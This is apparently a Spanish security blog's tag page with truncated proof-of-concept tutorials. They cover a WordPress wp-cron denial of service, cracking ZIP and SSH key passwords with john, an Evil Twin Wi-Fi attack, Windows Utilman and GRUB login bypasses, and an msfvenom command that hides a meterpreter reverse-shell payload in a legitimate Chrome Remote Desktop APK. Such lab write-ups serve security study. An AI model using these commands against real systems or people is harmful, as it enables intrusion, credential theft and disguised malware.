Entradas

Mostrando las entradas etiquetadas como Prueba de Concepto (PoC)

Prueba de Concepto: Realizar un Ataque DoS en WordPress

Imagen
WordPress es un sistema de gestión de contenidos (Content Management System o CMS) lanzado el 27 de mayo de 2003, enfocado a la creación de cualquier tipo de página web. Originalmente alcanzó una gran popularidad en la creación de blogs, para luego convertirse en una de las principales herramientas para la creación de páginas web comerciales. El archivo wp-cron.php es una de las piezas más utiles y, a la vez, más problemáticas de WordPress . WordPress necesita ejecutar ciertas tareas programadas (como publicar un post a una hora fija, buscar actualizaciones o enviar correos), pero no tiene acceso al programador de tareas del servidor (Crontab en Linux). Para solucionar esto, WordPress usa un programador de tareas que: Cada vez que alguien visita tu web, WordPress lanza una petición interna al archivo wp-cron.php. El archivo revisa la lista de tareas pendientes, y si hay algo que hacer lo ejecuta. ¿Por qué es vulnerable a un ataque DoS? La vulnerabilidad no es un fallo de codigo (bug),...

Prueba de Concepto: Crackear un fichero ZIP protegido por contraseña

Imagen
Para esta prueba utilizaremos de ejemplo el fichero  .zip  encontrado en la  Máquina Policy (Vulnyx) . El primer paso que debe darse es extraer el hash del fichero  .zip  con la herramienta  zip2john , para ello ejecutamos el siguiente comando: $ zip2john groups.zip > groupshash Se puede ver cómo es el contenido del hash que se ha extraído y guardado en el fichero  groupshash , para ello ejecutamos el siguiente comando: $ cat groupshash A continuación, se puede utilizar la herramienta  john  indicando el diccionario (ej:  rockyou.txt ) con la opción  -w  o  --wordlist  seguido del fichero que contiene el hash que se desea crackear. $ john groupshash --wordlist=rockyou.txt En cualquier momento se podría visualizar la contraseña crackeada con la opción  --show . $ john groupshash --show Una vez crackeada la contraseña se podría descomprimir el fichero  .zip , para ello ejecutamos el siguiente comando: $ unz...

Prueba de Concepto: Ataque Evil Twin con Airgeddon

Imagen
A continuación, se realizará un ataque Evil Twin para obtener la clave precompartida de una red existente. Para ello, se utilizará la suite de auditoría inalambrica Airgeddon . No viene instalada por defecto en kali. Para instalarla se ejecuta lo siguiente en la terminal: $ sudo apt-get install airgeddon -y Una vez instalada, se ejecuta por primera vez: $ sudo airgeddon Tras arrancarla por primera vez pedirá realizar una comprobación para ver si se tienen instaladas todas las dependencias necesarias. Tras pulsar la tecla Intro se dejan que se instalen. Si alguna de las dependecias no se instala, habrá que hacerlo manualmente ( Airgeddon sugiere el nombre de los paquetes que usar). Una vez hecho se pide la insterfaz de red con la que trabajar. Tras esto, se muestran las opciones con las acciones que se pueden realizar con la herramienta. Lo primero de todo es poner la tarjeta de red en modo monitor. Airgeddon permite hacerlo con la opción 2 del menú, lo que evita hacerlo a mano. Par...

Prueba de Concepto: Crackear un fichero de Clave Privada de SSH protegida por contraseña

Imagen
Una vez obtenido o bien generado un fichero de ejemplo de clave privada de SSH protegida por contraseña con el siguiente comando: $ ssh-keygen Para esta prueba utilizaremos de ejemplo el fichero id_rsa encontrado en la Máquina Share (Vulnyx) . El primer paso que debe darse es extraer el hash del fichero id_rsa con la herramienta ssh2john , para ello ejecutamos el siguiente comando: $ ssh2john id_rsa > id_rsa.hash Se puede ver cómo es el contenido del hash que se ha extraído y guardado en el fichero id_rsa.hash , para ello ejecutamos el siguiente comando: $ cat id_rsa.hash A continuación, se puede utilizar la herramienta john indicando el diccionario (ej: rockyou.txt ) con la opción -w o --wordlist seguido del fichero que contiene el hash que se desea crackear. $ john id_rsa.hash --wordlist=rockyou.txt En cualquier momento se podría visualizar la contraseña crackeada con la opción --show . $ john id_rsa.hash --show Una vez crackeada la contraseña se podría utilizar el fichero...

Prueba de Concepto: Creación de una APK Maliciosa a partir de una APK Legitima (Android)

Imagen
Los dispositivos móviles se han convertido en elementos indispensables, tanto en el ámbito personal como en el profesional, su uso ha alcanzado un gran nivel desplazando a los ordenadores como herramienta informática en muchos entornos, y resulta muy difícil imaginar la realización de las actividades cotidianas sin hacer uso de estos. La utilización permanente y extensiva de estas tecnologías ha convertido a los dispositivos móviles en uno de los objetivos principales de los ciberataques en los últimos años. Por lo que en esta ocasión vamos a crear un payload dentro de una APK legitima y establecer una sesión meterpreter en metasploit . Primeramente nos descargamos la APK legítima desde apkmirror , por ejemplo la de Chrome Remote Desktop . Pasamos la Apk legítima por la herramienta msfvenom , para ello ejecutaremos el siguiente comando: $ msfvenom -x chromeremotedesktop.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.157 LPORT= 4444 -o chromeremotedesktop_virus.apk Ahora con met...

Prueba de Concepto: Bypass Login en Windows

Imagen
El archivo ejecutable " Utilman.exe " es una utilidad de Windows diseñada para dar accesibilidad y facilidad de uso a través de diferentes herramientas de accesibilidad, como el Narrador, el Teclado en Pantalla, el Lupa, entre otros, especialmente útiles para personas con discapacidades visuales o de movilidad. El ataque de " bypass " de login de Windows utilizando Utilman.exe es una  técnica que aprovecha una vulnerabilidad en el sistema operativo. Implica  reemplazar el ejecutable Utilman.exe ,  con otro programa, como cmd.exe . Cuando se activa Utilman.exe desde la pantalla de inicio de sesión  (presionando Windows + U), en lugar de abrir la utilidad de accesibilidad, se  ejecuta el programa malicioso (por ejemplo, cmd.exe). Esto permite al  atacante obtener acceso al Símbolo del sistema con privilegios de  administrador sin necesidad de autenticarse, lo que les da control sobre el  sistema y la capacidad de realizar cambios o comprom...

Prueba de Concepto: Saltando el Login desde el Grub en Linux

Imagen
El " bypass " del login mediante el GRUB implica acceder a un sistema Linux sin pasar por el proceso habitual de inicio de sesión. Esto se logra mediante la manipulación del cargador de arranque GRUB, que es responsable de iniciar el sistema operativo. Al realizar ciertos cambios en la configuración del GRUB, se puede ingresar directamente al sistema sin requerir credenciales de inicio de sesión, lo cual puede representar un riesgo de seguridad si no se protege adecuadamente. Para ello, lo que haremos será modificar unas líneas en el grub para que en lugar de realizar un arranque convencional, se ejecute una Shell con los privilegios de un super usuario. Primero encienda la máquina y espere hasta que muestre el cargador de arranque grub pantalla. Para abrir la terminal de grub, debemos pulsar la tecla e en la pantalla de selección de OS a arrancar. Aqui tenemos que hacer algunos cambios, primero tenemos que hacer es cambiar la " ro " que significa leer solo por ...